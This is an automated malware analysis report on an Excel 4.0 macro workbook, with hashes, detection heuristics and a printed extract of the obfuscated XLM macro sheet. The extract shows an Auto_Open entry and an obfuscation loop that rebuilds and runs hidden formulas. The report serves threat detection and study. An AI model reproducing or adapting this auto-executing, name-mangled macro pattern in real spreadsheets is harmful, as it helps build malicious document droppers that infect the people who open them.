Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 809af8d731a96441…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:48 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 8c788d789348bad1e278a2ddbdb71352 SHA-1: 6149324f9486fb0420a3e3fa4347e4b7133f891e SHA-256: 809af8d731a9644129f6672817ae6e6390e03bea8654aa7776a04d956646ddfc
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6430 bytes
SHA-256: 68538d51dc40966b539d78d7e638bd0be2b652aeb8393e6ff3d1745679a23469
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'peMgCSjkJkfi') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Uijh
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A172 
' 0018     27 LABEL : Cell Value, String Constant - DdKoIDpSVyvs len=0 
' 0018     20 LABEL : Cell Value, String Constant - FKrjc len=0 
' 0018     23 LABEL : Cell Value, String Constant - fnRIWlOv len=0 
' 0018     25 LABEL : Cell Value, String Constant - GSpsrjcwqq len=0 
' 0018     23 LABEL : Cell Value, String Constant - HxDtDCYK len=0 
' 0018     24 LABEL : Cell Value, String Constant - jQDWKgqSs len=0 
' 0018     22 LABEL : Cell Value, String Constant - LVDsdgh len=0 
' 0018     21 LABEL : Cell Value, String Constant - MdCpOl len=0 
' 0018     22 LABEL : Cell Value, String Constant - OzOhlkW len=0 
' 0018     27 LABEL : Cell Value, String Constant - peMgCSjkJkfi len=0 
' 0018     25 LABEL : Cell Value, String Constant - qFFmUOwuHZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - qvylL len=0 
' 0018     23 LABEL : Cell Value, String Constant - rAsTHPqn len=0 
' 0018     23 LABEL : Cell Value, String Constant - RsDpeKys len=0 
' 0018     26 LABEL : Cell Value, String Constant - rxLlgkQkMnn len=0 
' 0018     22 LABEL : Cell Value, String Constant - tIZWbWk len=0 
' 0018     26 LABEL : Cell Value, String Constant - UaRULsKgMCT len=0 
' 0018     25 LABEL : Cell Value, String Constant - UfQoAbnmXY len=0 
' 0018     23 LABEL : Cell Value, String Constant - VmJgpHKn len=0 
' 0018     27 LABEL : Cell Value, String Constant - zsrWIctwuUfT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Uijh,A83,"SET.NAME("jQDWKgqSs",VALUE("0"))",""
'  Uijh,A87,"SET.NAME("rxLlgkQkMnn",jQDWKgqSs)",""
'  Uijh,A89,"SET.NAME("zsrWIctwuUfT",jQDWKgqSs)",""
'  Uijh,A93,"SET.NAME("LVDsdgh",COUNTA(qFFmUOwuHZ))",""
'  Uijh,A95,"SET.NAME("UfQoAbnmXY",COUNTA(FKrjc))",""
'  Uijh,A97,[],""
'  Uijh,A101,"SET.NAME("GSpsrjcwqq","")",""
'  Uijh,A105,"rxLlgkQkMnn",""
'  Uijh,A109,"SET.NAME("RsDpeKys",HLOOKUP("*",qFFmUOwuHZ,rxLlgkQkMnn,FALSE))",""
'  Uijh,A112,"fnRIWlOv",""
'  Uijh,A116,"SET.NAME("rAsTHPqn",jQDWKgqSs)",""
'  Uijh,A120,[],""
'  Uijh,A123,"rAsTHPqn",""
'  Uijh,A126,"MdCpOl",""
'  Uijh,A129,"tIZWbWk",""
'  Uijh,A133,"DdKoIDpSVyvs",""
'  Uijh,A135,"SET.NAME("qvylL",VALUE(HLOOKUP("*",FKrjc,DdKoIDpSVyvs,FALSE)))",""
'  Uijh,A138,"VmJgpHKn",""
'  Uijh,A142,"GSpsrjcwqq",""
'  Uijh,A147,"zsrWIctwuUfT",""
'  Uijh,A152,NEXT(),""
'  Uijh,A155,"HxDtDCYK",""
'  Uijh,A158,"SET.NAME("f",INT(T(FORMULA(T(GSpsrjcwqq)&"",""&T(HxDtDCYK)))))",""
'  Uijh,A161,"OzOhlkW",""
'  Uijh,A165,NEXT(),""
'  Uijh,A167,RETURN(),""
'  Uijh,A193,"SET.NAME("UaRULsKgMCT",A83)",""
'  Uijh,A197,"qFFmUOwuHZ",""
'  Uijh,A201,"SET.NAME("FKrjc",R95C12)",""
'  Uijh,A204,"SET.NAME("OzOhlkW",209)",""
'  Uijh,A206,"SET.NAME("peMgCSjkJkfi",1)",""
'  Uijh,A208,UaRULsKgMCT(),""
'  Uijh,A209,HALT(),""

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